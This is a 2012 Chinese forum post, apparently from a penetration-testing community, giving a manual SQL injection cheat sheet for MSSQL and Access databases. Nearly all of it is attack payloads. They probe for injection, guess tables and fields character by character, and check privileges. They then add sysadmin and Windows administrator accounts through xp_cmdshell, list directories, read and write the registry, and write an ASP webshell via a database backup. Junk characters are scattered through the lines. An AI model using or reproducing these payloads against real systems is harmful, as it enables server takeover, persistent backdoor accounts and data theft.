中国网络渗透测试联盟

标题: 手工脚本注入 [打印本页]

作者: admin    时间: 2012-9-15 14:48
标题: 手工脚本注入
手工脚本注入 8 f0 \: h1 Y& i; V7 w% ^1 }+ Q; K
1.判断是否有注入;and 1=1 ;and 1=2 ; O( I9 l; U6 A2 W4 p4 _0 |8 t
8 D( {4 h% z3 Q* g* k, B
2.初步判断是否是mssql ;and user>0 / R* s5 d; R9 O. {) N0 D$ I. ]$ A" F
, u2 y3 U) {% L& a* ^2 i
3.注入参数是字符'and [查询条件] and ''=' * M5 k9 x/ O% W0 c# v1 z) O1 |( H

- M$ }, R7 V6 z4.搜索时没过滤参数的'and [查询条件] and '%25'=' 0 _* `8 Q6 s# d: V$ m2 g

5 d% m0 k1 U( N7 ^' s5.判断数据库系统 6 M5 x) K+ r" ~6 y' f
;and (select count(*) from sysobjects)>0 mssql
1 ?" c% U9 v4 z;and (select count(*) from msysobjects)>0 access
1 k! l  y/ n, W' Z1 }2 `. D1 _# ?, A" x* N0 ]$ D% K+ l: m6 Q4 U
6.猜数据库 ;and (select Count(*) from [数据库名])>0
5 Q! P+ f" t% M1 m; p) K; g
7 f; V! ^, n. @5 O+ A7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ' j/ E% o7 |/ [( i
- T* q# @: s  T/ p
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
9 s! ?- J+ Q' A  f
3 B) V. ~" n6 [' ?( d  f" B9.(1)猜字段的ascii值(access)
' v' `$ n. j8 S+ t3 I;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
* O3 p% ]4 x* ^5 n. P' ]$ H* n9 d, |
(2)猜字段的ascii值(mssql)
3 h3 R2 O" e4 c4 t% O8 Y6 E;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 # Q: z4 b* W5 C& e5 j/ Q' g+ e
( r" B' W* D. g
10.测试权限结构(mssql)
2 S, G3 D: g0 M4 {;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
: s2 [- u( f1 m1 h;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ( g& n  [' q; h2 }! |, ]
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 2 B' S7 B8 [& s; \
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- % {9 s$ m' N1 T2 U, U5 D
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ) \2 O5 j# w7 Z4 b2 A7 c
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ; P- u  R( a; A
;and 1=(select IS_MEMBER('db_owner'));--
8 _) h$ ^. l+ v2 o( ]' N* v+ c9 I0 T
11.添加mssql和系统的帐户
5 U' P# R0 o" M& e) C7 P$ m+ I;exec master.dbo.sp_addlogin username;--
) E& ]  N' Z6 Z! S2 y8 R
+ x# K; o7 h& q4 L8 t1 V;exec master.dbo.sp_password null,username,password;--
+ L( v8 t0 t8 S4 d0 z( M9 `4 [' y& u
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
; O7 W( k1 r" P* z0 L4 |' e& o% a% X% O9 W
;exec master.dbo.xp_cmdshell 'net user username password 7 i" v$ ~# K9 f3 K
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- , `& {' [2 ^5 _$ o$ s$ d

* G1 p; m+ F/ M- _' a7 @. i) R;exec master.dbo.xp_cmdshell 'net user username password /add';-- 3 N( F! r3 a( f" M  `2 L+ V
/ D; \& m+ D6 d" I. n9 |0 B
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
7 f# A* w! e# C3 ]
4 j( D& \  M6 S" m12.(1)遍历目录 0 P7 [9 R5 G4 b' Q, I
6 ~3 K/ m, M5 J4 f0 K
;create table dirs(paths varchar(100), id int)
1 c3 @5 q# Y, F4 l( u/ n/ V;insert dirs exec master.dbo.xp_dirtree 'c:\'   i9 U. O$ I3 e+ R4 u
;and (select top 1 paths from dirs)>0
& j( [+ J, n' k* X8 m. e;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
4 d1 Y' z0 W% r. y" t! n; z' P4 f, P' S! z
(2)遍历目录 6 t) m) T: m! o4 F2 v6 ?
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 6 G0 J2 ~* D& d4 }
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 & Q5 @, a& [% J8 @, G
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 6 M4 C! A& d2 V, L
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
$ J0 Q. K& K" D- q0 _8 c9 O;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 . w& m+ U1 Z; }4 J" `( a/ k

) x/ C8 Y9 M0 E& f" V" Z13.mssql中的存储过程
6 L8 @8 @3 ]( q6 V1 ?8 F7 g2 F* h
" l9 t9 q/ l7 _. {xp_regenumvalues 注册表根键, 子键 . f& o  h" z7 d8 G0 J
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 7 U$ f% i( j) |( h& V" t
3 n1 O: ~7 W7 E* y
xp_regread 根键,子键,键值名
. O+ `0 E6 _( ?' [8 N- D8 j" \9 _$ q;exec xp_regread & F1 V* x8 v: j' z- j
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
( S. y9 z, G7 ?' m' w( m/ w& N& h, x1 S  P% \2 g/ W( x
xp_regwrite 根键,子键, 值名, 值类型, 值 + F. [  ]/ {8 k
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 5 X/ B$ Y% G: W( f
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
4 s  J1 N- f' P9 E
5 s( @' s3 B# X+ Z: A* vxp_regdeletevalue 根键,子键,值名
, J% \/ D% a' Y" V
4 q2 E9 E- ~4 A2 H! Zexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ) ?3 e  K4 }  u1 P& U; ]8 a- C
1 I& ^& v! D" A1 d/ n. N: _9 ^) K
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值   u; ~* B3 a- C

4 Q! }8 z- }# I5 _6 D( X14.mssql的backup创建webshell
( t% e% E* j' w: y! U+ n* O' u" uuse model
* S" c0 d1 j7 i: X1 tcreate table cmd(str image); " y% T: j4 m/ M
insert into cmd(str) values ('');
) E6 x1 _$ u* h4 I$ c# @backup database model to disk='c:\l.asp';
8 z" Z5 p5 y; t$ s7 V, J
# O1 V+ _  o, u  e15.mssql内置函数   r  v! U6 }: ?; @, S  I$ d
;and (select @@version)>0 获得Windows的版本号
# \' n3 W; l& }& f( x/ \: ]* Z;and user_name()='dbo' 判断当前系统的连接用户是不是sa
' _4 N# C2 U' y9 ~;and (select user_name())>0 爆当前系统的连接用户 ' E9 G+ H8 @8 s/ y6 k
;and (select db_name())>0 得到当前连接的数据库
  r5 k0 b- l- |$ E* D% X! R2 G+ l9 s$ h4 P% n
16.简洁的webshell
+ |' }& f6 ?' f* s
3 H2 A3 [* W" w& M' euse model
9 {; c- s/ I. A' y: l2 x: W7 k- L/ M& ?: `' L
create table cmd(str image);
% v9 S' X, e6 Q& w+ i
$ O; ^, \) n* }5 winsert into cmd(str) values (''); 9 |: i5 `- p3 U5 u
. [. \; O  ]* X- ~' \' _6 z7 Y
backup database model to disk='g:\wwwtest\l.asp'; " C7 ^, W6 p- r, f

0 d) a6 H% `) B7 f! ]' Q+ R, z; g; B
作者: 老男孩    时间: 2012-9-15 16:34
现在很多防注入啊,有其他注入字符码




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2